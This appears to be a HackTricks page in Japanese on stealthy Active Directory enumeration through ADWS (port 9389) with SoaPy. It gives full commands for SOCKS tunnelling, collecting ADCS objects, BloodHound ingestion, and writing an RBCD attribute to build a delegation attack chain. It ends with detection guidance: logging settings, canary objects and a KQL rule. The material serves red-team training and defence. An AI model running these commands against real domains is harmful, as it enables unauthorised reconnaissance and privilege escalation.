Active Directory Web Services (ADWS) Enumeration & Stealth Collection

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ADWSとは?

Active Directory Web Services (ADWS)は、Windows Server 2008 R2以降のすべてのドメインコントローラーでデフォルトで有効になっており、TCP 9389でリッスンしています。名前に反して、HTTPは関与していません。代わりに、このサービスは独自の.NETフレーミングプロトコルのスタックを介してLDAPスタイルのデータを公開します:

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

トラフィックはこれらのバイナリSOAPフレーム内にカプセル化され、一般的でないポートを通過するため、ADWSを通じた列挙は、従来のLDAP/389および636トラフィックよりも検査、フィルタリング、または署名される可能性がはるかに低いです。オペレーターにとって、これは意味します:

  • ステルスな偵察 – ブルーチームはしばしばLDAPクエリに集中します。
  • **非Windowsホスト(Linux、macOS)**から9389/TCPをSOCKSプロキシを通じてトンネリングする自由。
  • LDAPを介して取得するのと同じデータ(ユーザー、グループ、ACL、スキーマなど)と、書き込みを行う能力(例:RBCDのためのmsDs-AllowedToActOnBehalfOfOtherIdentity)。

注:ADWSは多くのRSAT GUI/PowerShellツールでも使用されているため、トラフィックは正当な管理者の活動と混在する可能性があります。

SoaPy – ネイティブPythonクライアント

SoaPyは、純粋なPythonでのADWSプロトコルスタックの完全な再実装です。NBFX/NBFSE/NNS/NMFフレームをバイト単位で作成し、.NETランタイムに触れることなくUnix系システムからの収集を可能にします。

主な機能

  • SOCKSを介したプロキシをサポート(C2インプラントから便利)。
  • LDAPの-q '(objectClass=user)'と同じ細かい検索フィルター。
  • オプションの書き込み操作(--set / --delete)。
  • BloodHoundへの直接取り込みのためのBOFHound出力モード
  • 人間の可読性が必要な場合にタイムスタンプやuserAccountControlを整形するための--parseフラグ。

インストール(オペレーターのホスト)

bash
python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

ステルスADコレクションワークフロー

以下のワークフローは、ADWSを介してドメインおよびADCSオブジェクトを列挙し、それらをBloodHound JSONに変換し、証明書ベースの攻撃経路を追跡する方法を示しています - すべてLinuxから:

  1. ターゲットネットワークからあなたのボックスへの9389/TCPトンネル(例:Chisel、Meterpreter、SSH動的ポートフォワードなど)。 export HTTPS_PROXY=socks5://127.0.0.1:1080をエクスポートするか、SoaPyの--proxyHost/--proxyPortを使用します。

  2. ルートドメインオブジェクトを収集する:

bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
  1. Configuration NCからADCS関連オブジェクトを収集する:
bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
  1. BloodHoundに変換する:
bash
bofhound -i data --zip   # produces BloodHound.zip
  1. ZIPをBloodHound GUIにアップロードし、MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,cのようなサイファークエリを実行して、証明書昇格パス(ESC1、ESC8など)を明らかにします。

msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)の記述

bash
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

s4u2proxy/Rubeus /getticketを組み合わせて、完全なリソースベースの制約付き委任チェーンを作成します。

検出と強化

詳細なADDSログ記録

ドメインコントローラーで以下のレジストリキーを有効にして、ADWS(およびLDAP)からの高コスト/非効率的な検索を明らかにします:

powershell
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD

イベントはDirectory-Serviceの下に表示され、完全なLDAPフィルターが適用されます。クエリがADWS経由で到着した場合でも同様です。

SACLカナリアオブジェクト

  1. ダミーオブジェクト(例:無効なユーザーCanaryUser)を作成します。
  2. Everyone プリンシパルに対してAudit ACEを追加し、ReadPropertyで監査します。
  3. 攻撃者が(servicePrincipalName=*)(objectClass=user)などを実行するたびに、DCはEvent 4662を発行し、実際のユーザーSIDを含みます。リクエストがプロキシされている場合やADWSから発信されている場合でも同様です。

Elasticの事前構築ルールの例:

kql
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"

ツール概要

目的ツールノート
ADWS列挙SoaPyPython, SOCKS, 読み書き
BloodHound取り込みBOFHoundSoaPy/ldapsearchログを変換
証明書の妥協Certipy同じSOCKSを通じてプロキシ可能

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする